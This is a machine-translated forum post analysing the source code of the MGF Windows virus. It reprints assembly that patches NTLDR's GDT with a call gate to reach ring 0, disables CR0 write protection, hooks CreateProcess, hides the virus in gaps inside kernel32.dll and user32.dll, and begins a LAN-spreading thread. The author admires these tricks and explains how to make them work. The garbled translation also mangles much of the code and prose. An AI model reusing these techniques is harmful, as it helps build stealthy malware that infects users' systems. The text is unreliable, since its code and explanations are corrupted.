I used to read the source code of Mo defense virus. I found a method to enter RING0. Today, I saw the code in the EST Forum. Let's take a note. In fact, wowocock has mentioned this. I am just talking about it. You should stop shooting me. Notes... The main thing to talk about is the method of virus entering RING0. Although the MGF virus entering RING0 is already an old technology, it is still necessary to know about it. Other aspects of the virus are also briefly described. There are many clever points that can be said to be a "good" virus. In addition, I have not specifically tracked and debugged the virus.
Let's talk about RING0 first.
Now there are more and more methods to enter ring0, such as the method proposed by sinister to use the driver to enter RING0, and the method proposed by WebCrazy to read and write the physical memory where GDT is located by using the read/write physical memory, generate your own call door on GDT to enter ring0, as well as the method proposed by EVA. You can also refer to the html "> http://www.bkjia.com/Article/200906/39543.html (wowocock write summary, including the use of structured exception processing and the use of Interrupt doors into RING0 ). What I want to talk about is the method used by Mo's defense virus, that is, searching for GDT in NTLDR and finding a free place to add CALLGATE.
As I mentioned above, Mo's defense virus uses the method to search the idle zone of the GDT domain in NTLDR and create a call door. NTLDR is an important role in the system boot process. The main task is to convert the x86 real-time mode to the win2k protection mode, and load Ntbootdd. sys File and other work (for detailed WIN2K boot process, see Windows2000 boot process). this also includes loading GDT (Global Descriptor Table) (loading GDT is completed before switching from the real mode to the protection mode ). That is to say, if we create a call door, the call door will be loaded when the system starts. Then we can use this CALLGATE to enter RING0.
Someone asked, What is used to confirm that NTLDR contains this process? To solve this problem, you can debug NTLDR Based on the <use Bochs to debug NTLDR> written by tombkeeper to monitor what NTLDR does when switching to the protection mode.
Next let's take a look at the code for modifying NTLDR to add CALLGATE for MGF virus:
_ DwFlag ----- bit 0: 0 = ntldr, 1 = PE; bit 1:0 = mem, 1 = file; Bit 2: 0 = auto (ansi/unicode), 1 = ansi ........................ . Else; _ dwFlag; write CALLGATE if the file is NTLDR Lea esi, szGdtData [ebx] Mov edi, @ lpFileMap Mov ecx, @ dwFileSize @@: Inc edi Push esi Push edi Push ecx Mov ecx, 10 h Repz cmpsb Pop ecx Pop edi Pop esi Loopnz @ B
|
In NTLDR, search for RING0 and CS in 16 bytes. After DS finds the data, EDI points to the last byte of the Data. To put it bluntly, it is the feature of GDT search.
.if ZERO? xor eax,eax mov ecx,80h @@: sub edi,8 push edi push ecx mov ecx,8 repz scasb pop ecx pop edi loopnz @b
|
It is not necessary to search for null selector (eight zeros) in the range of the forward 80 h because it is located before SZGDTDATA. Therefore, EDI points to null selector.
.if ZERO? add edi,100h lea esi,szCallGate[ebx] mov ecx,10h rep movsb
|
Write CALLGATE and your own RING0, CS at the offset of H. Here it is necessary to use your own RING0 CS, because if you use the system, SELECTOR can also, however, when direct IO occurs, the page 0XE may fail. That is to say, if you add the damaged code to directly read or write the hard disk sector, an error may occur.
mov edx,dwC3Address[ebx] mov word ptr [edi-16],dx shr edx,16 mov word ptr [edi-10],dx
|
Point the caller to the ret address
. Endif
. Endif
DwC3Address is the address in kernel32.dll. Why not use it in NTDLL. DLL?
Kernel32.dll is loaded by default by all programs, while NTDLL. dll is different. DwC3Address is the ret address of the instruction in kernel32.dll. So this method is very clever.
Some people ask, why don't the system select the descriptor corresponding to the sub08h?
If the operating system detects that the code and data address corresponding to the descriptor are all running below 0x80000000H, it is deemed to be illegal to enter RING0 and then generate an error. Therefore, we need to create our own descriptors to ensure that such errors do not occur.
In WIN98, enter the same technology as RING0 and CIH, and directly add CALLGATE to GDT. I won't talk about it here. In addition, in 2 K, after NTLDT is modified, it must be restarted to take effect.
Next we will talk about other parts of the MGF virus.
Let's take a look at the Section in RING0 that writes KERNEL32 and USER32.
; RING0 Mov eax, esp Mov esp, [esp + 4]; switch stack switch to ring3 esp Push eax; save ring0 esp Mov eax, cr0 Push eax; CR0 Btr eax, 16 Mov cr0, eax; Remove write protection for read-only memory pages of kernel32 Module Mov eax, lpOldPE [ebx] Mov edx, dwOldEntry [ebx] Mov [eax + 28 h], edx Mov edx, dwOldImage [ebx] Mov [eax + 50 h], edx; restore process entry and image size, avoiding self-protection of some programs Mov edi, hKernel32 [ebx] Add edi, [edi + 3ch] Mov edi, [edi + 54 h] Add edi, hKernel32 [ebx] Mov lpMemPosition1 [ebx], edi Lea esi, VirusStart [ebx] Mov ecx, 10 h Repz cmpsb; Determine whether the virus is already in the memory . If! ZERO? ; Not in mem . If dwVersion [ebx]; not in memory and win9x Push 0fh Push 0 Push-1 Push 0 Push 0 Push 0 Push 1 Push 1 @@: Int 20 h; vxd-> _ PageAllocate Dd 00010053 h Add esp, 8*4 Lea edi, @ B [ebx] Mov word ptr [edi], 20cdh Mov dword ptr [edi + 2], 00010053 h . Else Mov eax, hUser32 [ebx] Add eax, [eax + 3ch] Mov eax, [eax + 54 h] Add eax, hUser32 [ebx]; 2000/XP/2003 --- gap between EAX = user32.dll Module . Endif Mov lpMemPosition2 [ebx], eax Mov edi, lpMemPosition1 [ebx] Add edi, offset _ BeforeAPI-offset VirusStart Mov dword ptr [ebx + szNewCommand + 1], edi; Construct the command to jump to CreateProcess to intercept the function, Place the instruction address of hook createprocess behind the first code Mov esi, dwCreateProcess [ebx] Push esi Lea edi, szOldCommand [ebx] Mov ecx, 6 Rep movsb; Save the first 6 bytes of the original CreateProcess Function Lea esi, szNewCommand [ebx] Pop edi Mov ecx, 6 Rep movsb; change the first command of the CreateProcess function to the command to jump into the Interception Function. Lea esi, VirusStart [ebx] Mov edi, lpMemPosition1 [ebx] Mov ecx, VirusSizeP1 Rep movsb; the first 3 K of viruses reside in the kernel32 Module Mov edi, eax Mov ecx, VirusSizeP2 Rep movsb; 2 K after the virus resides in the page assigned by the user32 module or vxd _ PageAllocate Module . Endif Pop eax Mov cr0, eax; recover CR0 Pop esp Lea eax, Ring3_1 [ebx] Push eax Retf; returns RING3 Ring3_1: . Endif
|
The virus locates gaps in kernel32.dll and user32.dll and resides in them. In this way, the virus cannot be seen in the task manager, and the infected file cannot be terminated.
The virus also removes the protection attribute of kernel32. This method is certainly good. However, the system does not recover when it exits, which leads to problems. In the NT/2 k/XP system, the page on which the DLL is located is mapped to the private space of the process (for example, Kernel32.dll is mapped to 77ED0000) and has the cow attribute ), that is to say, when no process tries to write to this page, all processes share this page. When a process tries to write to this page, the system page error handling code will receive an exception from the processor, check that this exception is not an access violation. At the same time, the system assigns a new page to the process that causes the exception, copies the content of the original page on it, and updates the page table of the process to point to the newly allocated page. The optimization of this shared memory brings a certain amount of trouble to the virus. The virus cannot modify only one code of Kernel32.dll in WIN9X. So if it is in 9X, there is no problem in doing so. But 2 K and XP won't work. This is the COW mechanism of 2 K/XP. Of course, there is another way to deal with it, that is, to modify the WP bit of CR0, but do not forget to recover :).
Because the virus needs to locate the addresses of LoadLibraryA and GetProcAddress functions. Here, the virus uses the CreateProcess function to intercept the PE file, which is normal. However, such an infection method is rare, which is different from common viruses. It can be said that it was MGF's first initiative. If there was previously, it would be me alone and beat me.
The following is the thread of the LAN created by the virus.
_GoLAN proc lParam local @hEnum local @dwcCount local @szResourceName[32]:byte local @szBuffer[0c00h]:byte ret pushad db 0e8h,0,0,0,0 pop ebx sub ebx,$-1 lea eax,@hEnum push eax push 0 push 13h push 0 push |